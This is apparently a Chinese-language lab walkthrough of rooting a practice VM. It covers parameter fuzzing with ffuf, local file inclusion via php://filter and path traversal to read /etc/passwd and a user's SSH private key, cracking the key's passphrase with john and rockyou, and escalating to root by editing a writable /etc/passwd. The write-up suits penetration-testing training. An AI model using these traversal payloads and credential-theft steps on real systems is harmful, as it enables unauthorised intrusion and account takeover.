前言
这是打靶训练的第9周,目标得到root权限,靶机难度简单。脑洞题,有趣,靶机链接。
信息搜集
nmap只扫到80和22端口,访问80,是apach默认页面
使用御剑扫描,只获取到了secret
目录和robots.txt
,没啥有用的信息
这个时候,千万就别不扫了,扫到secret
子目录的时候,更应该继续扫描。
得到了一个evil.php,这个名字就非常可疑。网页还是没有任何内容
怀疑它后面有构造参数,可能是evil.php?x= 这个x就是参数,接下来就要爆破这个x
我使用了seclists这个字典,没有的话,先apt install seclists
,输入以下命令开始爆破
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.41.134/secret/evil.php?FUZZ=../index.html -fs 0
爆破出参数为command
发现存在文件包含漏洞
getshell
尝试直接使用远程文件包含,失败。
这里可以使用php://filter 来查看源文件内容。访问http://192.168.41.134/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
。
这句话的意思是用base64编码的方式来读文件evil.php。显示的内容是base64加密后的,使用base64解密后。
<?php
$filename = $_GET['command'];
include($filename);
?>
既然都能读文件,是否能写文件,答案也是肯定的。尝试写入文件
http://192.168.41.134/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.txt&txt=MTIz
其中txt=MTIz,MTIz是123使用base64加密后的内容。将此内容写入test.txt。运行此命令后,尝试访问,失败告终。说明没有此目录的写权限。
一切貌似的路都没了,但还有一个22端口,我们没有尝试过。爆破基本不可能。查看目标靶机支持的ssh认证类型ssh root@192.168.41.134 -v
-v就是以调试方式查看。
可看到支持publickey,password两种登录方式,既然我们不能得到密码,只要我们获取到了私钥一样可以登录。
从前面的etc/passwd
,可以得到一个用户名为mowree的账户。而又有文件包含漏洞所以我们可以直接获取到私钥。
访问http://192.168.41.134/secret/evil.php?command=../../../../../../../../../home/mowree/.ssh/authorized_keys
查看公钥,这个虽然没啥用
访问http://192.168.41.134/secret/evil.php?command=../../../../../../../../../home/mowree/.ssh/id_rsa
获取私钥
在kali上vi id_rsa
将上面的私钥内容全部复制粘贴。然后再chmod 600 id_rsa
不然会登录失败
ssh mowree@192.168.41.134 -i id_rsa
使用密钥登录,结果叫输入私钥的密钥,相当于用了密码将私钥加密了。
这样的话,必须爆破密码了。这里使用john来爆破。使用python /usr/share/john/ssh2john.py id_rsa > hash
,将id_rsa转换成john能识别的hash格式
将超级大字典rockyou复制并解压过来
cp /usr/share/wordlists/rockyou.txt.gz
gunzip rockyou.txt.gz
开始爆破john hash --wordlist=rockyou.txt
,成功爆破出密码为unicorn
再次ssh成功登录
提权
这里使用find提权find / -writable 2>/dev/null
,查看可写权限的文件,发现了etc/passwd
文件
这样的话,直接修改root用户名的密码了,使用openssl passwd -1
命令,使用openssl加密算法来加密,输入的内容。
我输入密码为123,返回了加密后的内容为$1$JPKeenWm$HWPSn4QyyNd4vj8Kn4uTT.
vi /etc/passwd
将加密后的内容复制粘贴进来
保存退出后,切换用户成功为root